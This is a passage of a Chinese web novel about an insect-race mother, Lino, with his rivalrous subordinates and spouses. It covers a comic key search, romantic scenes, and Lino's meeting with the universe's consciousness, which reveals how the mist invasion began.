几只护卫虫面无表情，也根本不屑用手去搜，他们都留着绝对干净的手，期盼哪天有机会碰碰冕下。 冷冽的剑刃出鞘，分寸拿捏得很好，异族没有受到半分伤害，只有衣服碎掉。 火耳族全程傻掉，他们不明白为什么突然就要在其他族群面前坦诚相见。 “啊！你们干什么？蛮族！悍族！”火耳的首领气到撅过去，他都快入土的年龄了，没想到有朝一日会在其他族群震惊的目光下一件衣服也不穿。 侮辱！这是绝对的侮辱！ “首领！首领！”副首领连忙接住差点昏厥的首领，死命摇晃年迈的首领。 黏腻腻的肌肤接触，首领和副首领的内心都升起一股恶心的感觉，首领不敢晕了。 他从副首领的怀里爬起来，红温：“虫族冕下，请给我们一个解释！” 利诺在第一时间被护卫长捂住了眼睛。 安瑟姆鄙夷道：“冕下，看了长针眼。” 利诺：“……”就看一眼都不行吗？他很好奇全身火红色的火耳族的身体构造。 拉斐尔似笑非笑，回答火耳族长的要求：“解释？不需要。” 虫族的口吻很高傲，偏偏火耳族长拿他们没有任何办法，他们现在都得需要人家虫族的保护。 火耳族长又想晕了。 这时，拉斐尔注意到火耳族中有个特别的存在，他有同样感到受辱和羞耻的神情，又藏着一丝恐惧。 这只火耳在微微后退，好像要逃走。 然而，截止到现在，没有一只怪物能够在虫族的面前逃走。 拉斐尔挡住了火耳的路，笑容满面，却冰冷刺骨：“把钥匙拿出来。” “什、什么钥匙？”这只火耳夹紧了腿。 拉斐尔一下子猜到这只火耳把钥匙藏在了哪里，嫌弃皱眉：“你自己拿，还是要被剖腹，两个选择。” “……”火耳恐惧到极点，“饶命啊，虫族大哥！我不是故意要藏着的，是刚进入这里时幻族首领让我拿着的，说出去后会让我加入幻族！但谁知道幻族死光了，我还在想怎么和你们说……” 拉斐尔不多话：“拿出来！” “知道了，我、我自己拿！”火耳将手伸到了身后。 火耳首领两眼发黑：“你！孽子！你怎么敢的！” 藏钥匙的异族正是首领的小儿子，首领都忘记自己此时光小鸟的状态，冲过去甩给小儿子几个大耳巴子。 首领小儿子正到关键时刻，被亲爹这么一打，发出了奇怪的声音，似痛苦，有不太像：“爹啊，你打我干什么，这下好了……钥匙进得太里面了，拿、拿不出来了。” 气氛很诡异，不止虫族，就连其他种族都默默远离，不忍直视又兴奋吃瓜。 “钥匙藏哪了？”看不见的利诺扒拉安瑟姆的手，非常好奇发生了什么。 安瑟姆捂利诺眼睛都决心更加坚定了，这画面冕下真不能看！ 伊戈提安啧了声，坏心思上来了，在旁边挑火：“拿不出就把肚子剖开呗！” “不行！”首领小儿子叫起来，找自己的同族求救，“爹啊，救救我，帮我拿出来！” 首领重重斥骂：“孽子！”扭头又对手下说：“都过来，帮他把钥匙拿出来。” “……啊？”其他的火耳张大嘴巴，指着自己。 “不然呢？都上来！”首领恨恨跺脚。 片刻的寂静过后，火耳族小儿子凄惨的尖叫响彻整个迷雾世界。 利诺急得抓耳挠腮，这到底是藏哪里了？难道是藏在肉里面？需要割开才能把钥匙拿出来的那种？ 那这只火耳真是个汉子！利诺心生佩服。 “真汉子”首领小儿子出气多进气少，趴在地上就吐白沫，屁股高悬。 “阁下，钥匙……”火耳首领捧着散发热气的钥匙，恭敬地给虫族。 所有的虫族连连往后退，拉斐尔高声：“不需要，你自己销毁！” 再危险的存在也不会让虫族后退，除非，那是把冒热气的钥匙。 迷雾世界随着钥匙的破碎而迅速消散，进入迷雾之门的一行再次出现在迷雾之门前。 大开的迷雾之门把所有的黑雾吸入干净，接着自动合上，同样消散。 外面的灰塔军队迅速进来，搜寻还活着的生命，他们想到了很多可能，都没有想到，他们会看到一个无比诡异的画面。 大部分神采奕奕、兴奋得不得了的异族们，这里面包括自家的灰塔族长，他两眼放光。 茫然的虫族冕下坐在一只虫族身上，被捂着眼睛。 中心是几只没穿衣服的火耳族，处于C位的，是一只仿若被狠狠蹂躏的年轻火耳。 为首的灰塔将军愣了愣，然后拿出微型光脑，打开照相功能。 “咔嚓——” 遇事不决，先拍个照先！ 第80章 迷雾的危机以猝不及防开始，又以诡异的结局作尾。 虫族在迷雾世界的凶残震慑了所有参加会议的星际种族，又没了幻族在中间捣乱，接下来的灰塔会议进行得异常顺利。 基本是利诺说句什么，其他的种族立刻点头符合，他们的眼睛里藏着一丝后怕。 怕的不是虫族军舰侵略自家星球，而是怕虫族一言不合扒自己衣服，落得个和火耳族一样的下场，一想就屁股疼。 听说火耳首领的小儿子到现在都没有下床，因为之前掏钥匙掏得太狠了……而火耳首领这两天倒是正常参加会议，但是…… 大家一看到火耳族，就会联想他们那火红的、光溜溜的大臀。 咦！不忍直视！ 利诺很满意，自打从迷雾之门出来，这些种族就很听话，一副唯虫族马首是瞻的样子。 小虫母骄傲叉腰，对身边的下属道：“会议结果很满意，多亏大家啦！” “冕下才是出力最多的。”安瑟姆宠溺道。 利诺喜滋滋的，他就喜欢被夸赞，这让他觉得自己很厉害，让他觉得自己正一步步前往优秀虫母的路上行走。 拉斐尔往上提了提眼镜：“冕下，与各族的合作初步达成，接下来是时候共同对抗迷雾了。” 利诺早在从迷雾之门回来的当晚，就把在巨人那里得到的消息告知了自己的虫族。 他也只会把这份消息告诉他最信任的同族。 虫族内部开了一个小会议，参加的不止利诺和陪利诺来的安瑟姆等虫，还有虫族的其他核心成员。 拉斐尔和蓝星的部分虫族联合制定了一份计划，第一，联通所有种族驱散迷雾，虫族会给予帮助和支持；第二，找所谓的神门，增强小虫母的力量，那些“神祇”很明显，把最后的希望都寄托给了小虫母；第三，寻找真正的宇宙中心，本宇宙意志的所在之地。 投影内，银发黑皮的英俊雄虫听完拉斐尔的沉默半晌，最终看向利诺：“可是冕下，会很累。” 本着公事公办的严苛虫族，此时却忍不住掺杂自己的情绪，他……不想让他的小蝴蝶那么辛苦。 “赫弥珞，这是必须的。”利诺直视雄虫，“不止是为了我们虫族的延续，也为了我死去的……同伴，我答应了巨人，我会为他们报仇。” 从破壳开始，利诺就无比憎恨迷雾，这种憎恨，比上辈子对丧尸的情感还要浓烈。 每一年，死在迷雾内的虫族不计其数，而他，利诺，会在他的时代里，终结另一个贪婪宇宙带来的灾难。 这是宇宙意志诞育他的目的，是他那些未曾谋面却一直记挂他的同伴们的期许，更是他的使命和责任！ 漂亮青年身形纤细，银灰色竖瞳却亮如灿星，坚定得不可思议，也比最炽热的恒星还要璀璨。 赫弥珞心神颤动，他低头：“赫弥珞会尽一切，为冕下达成所愿！” 他的冕下，他的爱，他的妈妈，从一开始便是这样的。 吸引虫族的，除了青年艳丽的外表和虫母的身份，最重要的是他的灵魂。 希尔维乌斯的投影紧跟其后：“冕下，我会率队记录不寻常、可能是神门的迷雾之门，不计一切代价，为您达成所愿！” 几位军长和各个部门参加会议的虫族齐齐表态：“愿为冕下付出一切！” 他们的冕下，太迷虫了！这些虫族内心激荡，只恨不能立刻行动，做出一些实际的功绩，以便换来冕下的认可。 “很好！”利诺坐在主位，扬起灿烂的笑，“各位这段时间辛苦一点。” 这时，伊戈提安突然喊了声：“冕下，我有事情要汇报。” 往常他在会议上是个显眼包，一直很活跃地争取利诺的关注，但这次却有些沉默。 利诺偏头问：“你说。” 伊戈提安罕见地露出严肃的神情：“冕下，我希望你今天晚上和我一起睡。” “……”会场一片寂静，如果眼神会杀虫，那么伊戈提安已经变成筛子虫了，他的身上会全都是被其他虫瞪出来的窟窿。 伊戈提安真是不要脸的贱虫！堂而皇之邀宠，当他们这些虫都是不存在的吗！ 一些根本没在利诺身边、不得以投影出席会议的虫族捏紧拳头，他们也想和冕下睡啊！哪怕是纯洁的睡觉！ 可光是小巧的蝴蝶栖息在自己的尾钩上，点缀着两点嫣红的水晶薄翼微微颤动，长长的触角有规律地晃动……就足以让虫幸福地盯上一晚！ 拉斐尔暗自翻了个白眼，伊戈提安个贱虫！邀宠居然当着他的面！他都没想到这么做！ 不行，得回去再研究研究那本小说，拉斐尔咬牙，最好跟小说那样研制出毒药，把伊戈提安这个臭不要脸的毒成太监！ 只有拉斐尔一直在正经搞“宫斗”。 利诺茫然地眨眼：“啊？” 伊戈提安摸摸鼻子：“冕下，我不是那种卑鄙的、满脑子要和您交尾的虫，我有其他的原因！” “……那两个字就不用那么大声说了！”当着那么多得力属下的面，利诺羞囧得抬不起头来，噫噫噫伊戈提安怎么可以直接把交尾说出来！ 希尔维乌斯，第三位真正意义上的虫夫，冰冷的脸浮现一丝讥讽。 “伊戈提安，你最好有个正经的理由。”赫弥珞元帅冷笑一声。 眼看氛围越来越怪异，利诺身后的安瑟姆轻咳一声：“诸位冷静，我们先听二军军长的理由。” 利诺感激地看了眼安瑟姆，护卫长，不愧是他最最最得力的属下！ 伊戈提安被众虫围攻却不以为意，只是盯着利诺：“冕下，我跟随在您身边时，在深夜有好几次恍惚看到您被一团莹白色光团包裹。” 利诺下意识否认：“不可能，我几乎每天晚上都在睡觉。” 从虫树上折下来的枝条暂时承担孕育子嗣的职责，这会耗费利诺的精神力，他不仅容易变得饿，也会比其他虫族更需要保持充足的睡眠。 “冕下这些天一直在我的尾钩上入睡。”安瑟姆无视向自己投来的羡慕嫉妒的视线，“冕下在夜晚，从未离开过我的尾钩。” 伊戈提安点头：“一开始我觉得是幻觉。” 他幽怨地望了利诺一眼，擦了擦眼角不存在的眼泪：“可能是我在每一个冰冷的夜晚孤枕难眠，太过想念冕下了。” 伊戈提安话语一转：“可我是搜寻蚁，我的五感不可能出错，我也很健康，不然不可能成为冕下的预备虫夫之一！” 每只虫族的特有的能力多多少少都算是bug级的，强大到超出某些常理，比如安瑟姆的储存囊，其实是一个独立出来的空间，又比如赫弥珞可以分裂的能力，这也保证了他在意识海全然崩溃后还能存活数年，再比如艾默里的祝福，直接让利诺多了一个强悍的治愈能力…… 利诺知道这一点，在短暂思考后道：“伊戈提安出现幻觉、看错的可能性接近于无，而安瑟姆又确保我从未在睡眠的时候离开过他的尾钩，那么，伊戈提安看到的很有可能是我的意识。” 他猜测：“有一团莹白色的光团在晚上会把我的意识带走？” 利诺后背发凉，他一直不记得这种事情，意识对于虫族而言很重要，意识的另一种叫法，就是灵魂。 那些战死的虫族之所以可以在之后成为机器，就是因为他们在科研院留下了自己的一部分意识。 意识受创，虫的本身也会受到伤害，而那团莹白色的光团却可以轻松带走他的意识，而他丝毫没有察觉…… 很危险，但利诺又潜意识觉得那光团对他没有恶意，不然他早就死了。 意识完全泯灭的结果是变成植物虫。 利诺于是果断道：“我这些天会和伊戈提安一起睡。”又对伊戈提安道：“你继续负责观察。” 伊戈提安不正经地点头，语气暧昧：“当然，我会好好照顾冕下的。” 这是虫族留在灰塔星的最后一晚，在利诺把自己的卧室留给安瑟姆，自己则准备去伊戈提安房间的路上，他撞见了意想不到的虫。 利诺叫了声：“拉斐尔，这么晚，你还没有睡？” 这是客套的招呼，事实上，除了利诺，其他虫根本不会每天睡觉。 “冕下日安。”拉斐尔咬着口腔内的蜜液储存腺，声音闷闷的，“冕下是要去找伊戈提安？” “嗯。”在利诺看来，这是正事，他坦然点头。 拉斐尔的声音低哑：“冕下，请你原谅我。” “怎么了？”利诺担忧地问，他对所有的虫都很好，而且拉斐尔能力又出众。 “我很想杀了伊戈提安。” 拉斐尔缓缓开口：“我在嫉妒伊戈提安在赫弥珞元帅、安瑟姆和希尔维乌斯后，居然也能得到你的宠爱。” “我知道您的安全最重要，伊戈提安的能力可以帮助您，可是我还是忍不住嫉妒，我也想被您爱。” 拉斐尔把手放在自己的胸口，温和的面孔有些扭曲，因为情绪的高涨而呈现部分虫型的狰狞：“这里有一团火在沸腾，他在叫嚣，杀了一切和我争夺您宠爱的虫！” 利诺呆呆看着不再维持温和的拉斐尔，此时的拉斐尔，狰狞可怕，将所有丑恶的心思暴露他最爱的冕下面前。 可靠的拉斐尔，悉心教导他的拉斐尔，眯眼轻笑的拉斐尔，全然被现在的拉斐尔撕裂。 许久，拉斐尔颓然垂头：“冕下抱歉，是我没有控制好自己的情绪，您……您想怎么罚我都可以。” 他失控了，冕下想爱谁都是冕下的意愿，他也可以等，他不应该拦着冕下…… 一声无奈的叹息环绕在耳边，拉斐尔的心一下子坠到谷底，冕下生气了？还是对他失望了？他在冕下那里的形象一直是成熟可靠的师长形象…… 虽然他并不想当冕下的老师，也不想当冕下的长辈…… 拉斐尔心凉了半截。 这时，温热的手捧住了拉斐尔的脸颊，是小虫母。 小虫母努力踮着脚尖，抬高胳膊，这才勉强捧住拉斐尔的脸：“拉斐尔，不要哭。” 眼前的中级虫族，在不知不觉间满脸都是泪，丢掉了儒雅稳重，狼狈又脆弱。 褐色的竖瞳内，泪光颤动，透露着绝望。 可小虫母没有任何嫌弃和厌烦，而是伸长胳膊，为拉斐尔擦干净溢出来的眼泪。 最后重新捧着拉斐尔的脸，微微一跳，在拉斐尔的唇上烙下一吻。 利诺的脸颊微红：“弯腰，拉斐尔。” 宕机的拉斐尔盲目听从利诺的命令，弯腰低头，和利诺处于同一水平。 他的唇再次被吻住，小虫母的舌尖探进他的口腔，熟练地搜刮走口囊内不断分泌的蜜液。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 水声黏腻。 利诺很熟悉拉斐尔的蜜液分泌腺在哪里，不过他是吃饱了才出门的，所以只是浅浅尝了几口后离开。 他的主要目的是哄好拉斐尔老师。 小虫母无奈摊手，没办法，属下太多，能力又都很高，偶尔闹别扭很正常的，哄一哄就好啦！ 这样想着，利诺又重重啵了口拉斐尔的嘴巴：“还难受吗？” “……”拉斐尔虫傻了，他摇头，舔了舔唇上的水渍，又望向眼睛明亮的小蝴蝶。 他要的只是一点来自冕下的关注，而不是独占，而且要独占妈妈是不可能的。 冕下亲了他，怎么还会难受？ 拉斐尔干涸痛苦的心重新焕发生机，被妈妈的春雨滋润，繁茂的草木枝叶便纷纷冒芽生长。 利诺歪头：“拉斐尔还要亲亲吗？” 拉斐尔喉结滚动，眼神不自觉带上贪婪：“还、还可以吗？” “当然啊！”热情坦诚的小虫母于是搂紧虫族的脖子，亲热地吻上拉斐尔的唇。 如果一个吻不可以，那就两个吻，再坚定冷心的虫族都会因此软化下来，拉斐尔更是，几乎要被小虫母哄成了胚胎。 很多时候，利诺当着很多虫的面，是容易害羞、脸皮薄的冕下，但私下里，他是热情的妈妈，几乎予取予求，再难的姿势他也愿意摆出来，然后被贪得无厌的子嗣过度索取。 亲吻主动方和被动方互相交换，利诺的脚尖离开了地面，被拉斐尔抵在墙上索吻，炽热的雄性气息冲击他的大脑，嘴巴里搅弄得一塌糊涂。 小虫母软成了一滩。 拉斐尔还算有分寸，只是亲了一会儿，吃了很多小妈妈的津液后，就满足地松开臂膀，俯身在小妈妈的脖颈拱来拱去，眷恋但清醒：“冕下，我送你去找伊戈提安。” 利诺咂咂嘴，麻木的口腔这才有了点感觉，他点头心想下属还挺难哄。 痛并快乐着。 利诺和拉斐尔刚到目的地，时刻注意的伊戈提安嗅到了利诺的气息，迫不及待地打开门，装作随意地摆了个帅气的姿势：“冕下，我等你好久了……拉斐尔你怎么在这！” 姿势摆到一半，伊戈提安发现了极其碍眼的衣鱼，也眼尖地闻到黏连在衣鱼身上的、属于冕下的香甜气息。 到这时，伊戈提安要是还意识不到他被偷家，那他就真的是个傻子了，傻子不会坐到二军军长的位置。 利诺用行动告诉拉斐尔不用担心，他不会被抛弃，他在妈妈的心里永远有一席之地。 执念化解的拉斐尔很大度，面对伊戈提安的敌意并不生气，微笑道：“我送冕下过来。” 伊戈提安啧了声，不打算和拉斐尔吵架，一晚上的时间就那么点，他还要多和冕下相处，而且他清楚，他吵不过心眼多的拉斐尔。 “冕下好梦。”拉斐尔笑容温和，仿佛刚才哭得满眼满脸泪的虫不是他。 利诺郑重点头：“拉斐尔老师也是。” 拉斐尔的笑容没来得及扩大，就听见伊戈提安阴阳怪气：“是啊，拉斐尔老师早点睡，年纪大了长皱纹就不好了。” 门重新关上，拉斐尔收起笑，面无表情，他才一百岁，好歹比赫弥珞元帅要小上几岁。 虽然比不上伊戈提安自己而些军长，但依然身处年轻虫族的行列中！ 拉斐尔面无表情，自己给自己默念了几十遍年纪大也有年纪大的好处。 房间内，伊戈提安挂上傻傻的笑：“冕下，您是要我先服侍再睡，还是先睡再服侍？” 为了这天的到来，伊戈提安早早研究了书面知识，只差实践。 利诺懒懒打了个哈欠，他的精力有限，刚哄好另外一只雄虫，实在没听懂伊戈提安暧昧的暗示。 揉揉惺忪的眼，利诺敷衍道：“睡觉。” 说完，他变回一只漂亮的小蝴蝶，落在伊戈提安的肩膀上，用纤细的前足点点伊戈提安，示意他赶紧把尾钩放出来。 这和伊戈提安想到的剧本不对，在他的预想中，冕下会亲亲他，然后坐在他的身上，眉眼艳丽，处于绝对的上位，对他命令：“乖狗狗要学会自己动。” 绝不是现在这样，干巴巴地睡觉！ 伊戈提安咽了咽口水，笑得比哭还难看：“好的，冕下。” 冕下没有错，一切都是可恶的拉斐尔总参谋，半路截胡冕下对他的爱！ 畸形扭曲的虫族尾钩释放，却因为虫母的原因而收缩一切锋利尖锐的倒刺。 利诺的蝶蚁震颤：“伊戈提安，一旦看到我的意识，就通过意识海将我叫醒。” “遵命，冕下！”伊戈提安点头。 睡觉也是好的，毕竟冕下此时栖息的是他伊戈提安的尾钩，平时冕下在大多时间都依赖在安瑟姆的尾钩上。 伊戈提安放空思绪，从暗骂拉斐尔又转到安瑟姆身上，冕下对安瑟姆和赫弥珞元帅阁下要更特殊点，尤其是安瑟姆…… 雄虫咬牙，可恶，他在冕下那里的重要性排名是不是垫底啊！！！ 好在伊戈提安擅长自己哄自己，他转念又想，垫底也是好的，总好比那些为得到冕下注意而听信传言、把自己的头发染成绿色和彩虹色虫好，他们就算顶着那可笑的发色，也没在冕下的心里排上名次。 自己把自己哄好了，伊戈提安得意地挑眉，打开腕表，在自己的社交号上发送一条无图讯息。 ——小蝴蝶很漂亮，小蝴蝶在我尾钩上睡觉的样子也很漂亮。 全虫族只有一位虫母，也只有一只蝴蝶。 伊戈提安的星网账号臭名昭著，虽然盯着官方蓝星最高军部二军军长的认证，但还是被很多虫拉黑了。 无他，因为这只虫闲来无事的时候喜欢嘴贱、热衷挑事，尤其是在虫们讨论他们敬爱的虫母冕下时。 伊戈提安除了是军部第一混蛋外，还是整个虫族星网一致认证的混蛋虫。 但虫族慕强，伊戈提安身为高等虫族的强大还是让一些虫捏着鼻子不得不关注他。 发出去没几秒，这条信息下就有一串的回复，有痛斥他虚伪张扬的，有不忿为什么冕下要选择栖息在他尾钩上的，甚至还有傻虫问他是不是染了彩虹发色，所以冕下才喜欢他的…… 放在往常，伊戈提安早就活动虫肢，和这些虫你来我往、“友好”交流，但现在，他只是大致扫了眼，切了声，随即收起腕表。 他才不会浪费时间回怼这些虫，长夜短暂，他要将所有的时间都用在小蝴蝶身上！ 他的冕下不仅人形漂亮到令虫失神，就连虫型也是虫族少有的漂亮，相较于大多数虫族狰狞庞大的外表，化作蝴蝶的冕下却小巧精致，全身透明澄澈，尾翼的两片玫瑰色小腮红犹如点睛之笔。 蝴蝶看似脆弱，可伊戈提安见过他在半空飞行时，将亮晶晶的鳞粉撒下，怪物瞬间被腐蚀殆尽。 美丽和危险并存。 伊戈提安的呼吸渐渐急促，光是这样看着，他对和冕下交尾的渴求就在不断攀升。 他甚至想化回虫型，趁着冕下熟睡的时候，压住精致的小蝴蝶，缠绕蝴蝶的腹部，进行最原始的交尾。 进化后的新种族哪里会存在这种行为，这不过是还处于无智慧的下等虫子时会有的繁衍本能。 这种念头刚起，就如枯萎野草丛中的一点火星，顷刻炽烈燃烧，浓烟沸天。 这时，伊戈提安的呼吸一滞，猩红的竖瞳回归清明。 他又看到了。 荒漠搜寻蚁的感官再次捕捉到那团莹白色的光，它飘到小蝴蝶的上空。 半透明的青年从娇小蝴蝶的实体中抽离，被光团搂住，光团左右晃了晃，确定青年的灵魂不会掉出来后，就慢悠悠地朝外飘走。 就是现在！ 伊戈提安以子嗣和眷族的身份，在自己的意识海将中间那轮半亮的弯月唤醒。 利诺的潜意识也很包容自己的眷族，就算从深睡中被急匆匆叫醒，他也不生气，弯月轻轻推搡了下伊戈提安的意识，表示他醒了，只是还没有多少意识。 好困……但很舒服……如同婴儿在摇篮中，慈爱的母亲一边唱着摇篮曲，一边轻轻晃着摇篮。 很安详，利诺有些不想醒来，睫毛不安地颤动，缓缓睁开。 入目是一片莹白色的光，利诺茫然了几分钟，在意识到自己现在是魂体的状态后，立刻恢复清明。 莹白色光团察觉到了不对劲，不舍地把利诺吐出来，就要火速溜走。 “等等！不许走！”利诺眼疾手快，立刻趴在光团的身上，意识状态的手轻松抓住了平时看不见也摸不到的意识。 利诺紧紧搂在光团上，在伊戈提安这视角来看，便是光团如同皮球，把利诺顶起来，而他的冕下只差一点，就会从悬浮在天花板的光团掉下来。 伊戈提安紧张地往前走了几步，想接住利诺，然而他的手指穿过光团低端，只抓住了空气。 “我没事！”利诺不管伊戈提安能不能听到，转头又抓紧了光团一点，这下脚趾都在用力。 他质问这团明显有智慧的光团：“说，你想干什么？为什么要把我从我的身体里剥离出来？还有你是谁？你从什么时候就开始这么做了？你对我有动过什么手脚吗？” 一连串的问题脱口，问懵了这团莹白色的光球。 光团停止逃离，静下来，思考利诺的问题。 直到利诺等得不耐烦了，揪了揪光团，光团疼得颤了颤，继续冥思苦想。 利诺这一次没等太久，光团攒动着，将利诺搂在怀里。 利诺听到一个似男非女的中性年轻嗓音：“儿砸！” 第82章 利诺被这一声极具乡土气息的儿子给喊懵了，他大脑放空。 因为这团光芒说的不是虫族乃至所有星际种族使用的通用语，也不是虫族通过鞘翅和尾钩震动摩擦才可以发出来的特殊虫语，更不是地球现在用的中文和其他英语、法语等揉杂成的世界语，而是单纯的，中文。 是带着点口音的中文，而且这种口音利诺曾在幸存者基地内也听过。 利诺一时间不知道要说什么，手指几乎紧紧嵌进了光团。 这让光团痛呼了一声：“哎哟娘嘞！儿砸你弄疼俺的波棱盖了！” 似乎又是一种浓厚口音的中文，但是利诺没听过。 他冷静了片刻，然后淡定问：“波棱盖是什么？” “……”光团闪烁几下，直接化作一个有着大概轮廓的模糊人形，利诺像是真正的幼崽一样，趴在莹白人形的膝盖上。 光团不用再解释，利诺就明白波棱盖指的是膝盖：“对、对不起？” 小蝴蝶迟疑地道歉。 “崽崽没关系！”光团在这期间不断调整自己混杂的多方口音，最终找到正确的口音，说出比利诺还要纯正的普通话。 利诺不是特别聪明的虫，但也不傻，他立刻有了一个推测。 白色的巨大人形小心翼翼地把青年模样的小蝴蝶抱起来，凑近到没有五官的面孔边。 利诺不确定地问：“你是……宇宙意识？” “是的是的。”白色人形点点头，然后抱着利诺的腰和屁股，把他放到自己的头上，“我带你去玩儿！” 利诺和白色人形相比，简直是三四岁的小孩和成年的大人，如果不是场景外还有只紧张警惕的伊戈提安，恐怕是相当和谐的画面。 宇宙意识顶着小小的一坨，慢悠悠地往外飘，祂在利诺的耳边碎碎念：“玩一玩，崽崽就可以长大了，长大了就变厉害了，变厉害了就不会被欺负了……” “冕下！”伊戈提安根本触碰不了宇宙意识和灵魂体的利诺，只能狼狈追逐。 利诺给伊戈提安打了个安心的手势，让他不用着急。 利诺坐在宇宙意识的头顶上，好奇问：“为什么玩就可以变强？” “……不知道啊！”祂载着自己仅剩的孩子，“和崽崽玩，崽崽就可以变强。” 祂费力解释：“崽崽的哥哥姐姐都是这样的。” 利诺从祂的反应中发现，宇宙意识并非那种创造万物、年迈却智慧的至高神，利诺甚至可以感觉到，祂甚至算不上生物，而是一个宇宙的集合体，只具有简单的思维。 莹白色的光芒从祂的身上浮现，紧接着一点一点地，又汇聚到利诺的身上。 利诺的灵魂便不断汲取这些光芒，暖洋洋的，更加舒服。 这种感觉如此熟悉，利诺闭眼享受，他似乎在虫蛋内的时候，就会经常有这种感觉。 他不必费力寻找虚无缥缈的宇宙意识，祂一直在自己身边，用莹白色的光哺育他，喂养他。 白天，老院长悉心照顾他，而当夜晚来临，祂就来照顾他。 不然，光是前十八年无法喝到眷属蜜液，利诺就已经饿死了。 所以，祂知道自己有上辈子的记忆吗？ 心念一动，利诺联想到宇宙意识刚开始混杂多种口音的中文，或许，上辈子祂也在？ 利诺不知道，因为和他的灵魂体触碰，所以宇宙意识可以捕捉到他的一切想法。 祂化作的莹白人形停下漂游，一板一眼解答利诺的疑惑：“没有一直陪着崽崽。” 祂伸出手掌，极其心虚地点着指尖：“之前、弄丢了崽崽，找了很久，找到了，但是崽崽快死了。” 利诺在祂光秃秃的头顶盘腿，听名义上的老父亲、又或者是亲爱的妈妈讲故事。 然而利诺的亲爹又或者亲妈不会讲故事，祂很高兴利诺终于可以回应祂，在意识清醒的时候和祂一起玩。 而且崽崽的力气很大，都可以弄痛他，这说明利诺长得很好，祂养崽的方式很对。 兴奋的宇宙意识打算和自己的小崽看电影，就像祂曾经见过的，那些人类带着自己的小孩去电影院，一边吃爆米花一边笑嘻嘻地看电影。 猝不及防，两团莹白化作椅子，利诺坐在其中一把，手里被旁边坐着的宇宙意识塞过来一桶爆米花。 爆米花是白色光芒化的，在祂期待的目光（？）下，利诺试探地捏起一颗放进嘴里，脆脆的，甜甜的。 利诺眼神一亮，好吃的！ 宇宙意识满足了，躺在由祂的一部分化成的坐具上，隐蔽星星的光芒，以极黑的夜幕为背景，画卷展开并开始放映。 利诺嚼着爆米花，观看特殊的电影，对于在末世长大的孩子，能够有书看、个别时候在DVD上看电影光盘，就算是最好玩的事情。 这种末世前在电影院看电影的经历，则是利诺想象不到的新奇。 本宇宙意识就算被异宇宙意识侵蚀吞噬大半，也依旧是一个宇宙，只要祂想，什么东西都可以有。 在简单的片头后，一方宇宙在漫长的孕育和演化后，彻底诞生。 祂是没有性别的，爹妈也都是祂，祂孕育了许多孩子，这些孩子个个奇形怪状。 意识起初不觉得什么，将这些孩子养大后就让他们各自管理宇宙和各自的眷族，让生命在空旷的宇宙绽放，让宇宙因为生命的繁荣而不断壮大。 直到有一天，同样在成长的宇宙意识突然明白了美丑的概念，祂发觉自己生出来的孩子……各有各的丑。 祂变得挑剔，于是集合各种种族对于美的概念，生出来一个绝对美丽的孩子。 祂很欢喜，之前的孩子们也很宝贝漂亮精致又看似脆弱的小弟弟，只等这只小蝴蝶的破壳。 小蝴蝶会有最强大的子嗣和眷属，最强大的哥姐，和最溺爱他的宇宙意识。 结果有一天，宇宙和另一个宇宙发生碰撞，宇宙打败了故意来撞他的宇宙，吃掉了那个宇宙，打着饱嗝回来的时候大惊失色。 祂最好看的崽没了！祂还没破壳的小小崽丢了！ 原因是两个宇宙碰撞时产生的时间扭曲，吸走了小崽！ 拨弄时间，在过去发现地球上传来的利诺的气息。 可是时间是不可捉摸的，就连宇宙意识也不敢改变，但最小的崽在过去，找崽心切的祂跳到过去。 但没把握好时间，跳到小崽处于的时间线之前，祂只能漫无目的地在各个区域换着待，他复杂的口音杂糅也是这时间学的。 后来实在是无聊，祂决定短短睡一觉，最好睡到崽处于的时间线上。 沧海桑田，斗转星移。 祂醒来的时候天塌了，祂睡过头了，错过了崽最开始的时间。 等祂走过去的时候，祂的崽绝望地躺在逼仄的小屋内，自责到不再反抗，就那么让他的人类同伴们一口又一口，吃掉他。 崽的人类身体血肉模糊，胸口的心脏在极为疼痛地跳跃，直至被丧尸掏出来。 好在，崽的灵魂是好的。 宇宙意识把崽的灵魂带了回来，不止崽濒临消亡，就连祂本身也因跨越时间而陷入虚弱期。 就在这时，另一个宇宙趁虚而入，用迷雾侵蚀虚弱的本宇宙。 在不同的空间，存在许许多多的宇宙，每一刻，有无数的宇宙诞生，也有无数的宇宙消亡。 大多数的宇宙只会老老实实地管理本宇宙，本宇宙也是这样的，祂就喜欢和崽们玩。 但也有极个别宇宙渴望侵略、侵蚀其他的宇宙，之前故意撞本宇宙的宇宙和操纵迷雾的宇宙都是如此。 异宇宙是个吞噬了许多宇宙的强大宇宙，祂觊觎本宇宙的繁荣，只等一丝侵略的时机。 迷雾来的猝不及防，本宇宙的孩子、生灵在不断被吞吃。 可繁荣的生命造就了本宇宙的强大，就算是虚弱，也在节节败退后勉强稳住迷雾的侵蚀。 还未彻底恢复、沉睡在蛋壳的利诺似有所感，他的眷族在迷雾中提前诞生，无形中帮助本宇宙对抗住了迷雾。 迷雾虽厉害，可也有“门”这一项弱点，而利诺的眷族天生克制迷雾，不会被迷雾迷惑，比迷雾和迷雾怪物更擅长杀戮。 而且利诺的那些哥姐在死前也没忘记给利诺留下礼物和拯救本宇宙的希望，他们把最后的力量和祝福留在了神门里，等着利诺像是打游戏闯关卡那样，一点点地变强，最终帮助祂去打败侵略者。 祂们想本宇宙活下来，也想最小的弟弟和同伴可以活下来。 祂们的死为利诺换来了成长的时间，留下了活着的火苗。 利诺怀里的爆米花还有半桶，可他没了再吃的欲望。 对于残忍的真相，他茫然无措。 如果宇宙意识不找他，或许本宇宙不会有现在的境地？ “祂们是好孩子，是好崽崽。”把利诺重新顶在头顶的宇宙意识说道。 祂又晃晃头，笨拙真诚地哄失落的利诺：“小崽也是好崽崽！” 利诺变成一只丧失了全部活力的小蝴蝶，丧丧地趴在祂的头顶，任凭祂怎么夸，也提不起精神。 就算是思维简单的祂，也后悔起把所有的东西给小蝴蝶看了。 祂聪明了一回：“不是小崽崽，祂也会来吃我，祂比我厉害。” “崽崽放心，我因为小崽，力量又在变强，等再过些时间，我就可以把祂油炸，咱俩一起分吃！” 利诺闷闷地问：“把所有的神门都关上，你、您就可以很强了吗？” “对的！”意识补充，“就算崽崽不关门，我也在变强，崽崽很能生，生命的繁荣会让我变强！” 利诺飞下来，环抱住了宇宙意识的一根手指，半晌，他保证：“以眼还眼，以牙还牙，我要让祂承受同样的痛苦！我要让祂生不如死！” 宇宙意识很高兴崽主动抱自己，但听到这句话：“崽，祂不是生的，做不到生不如死。” 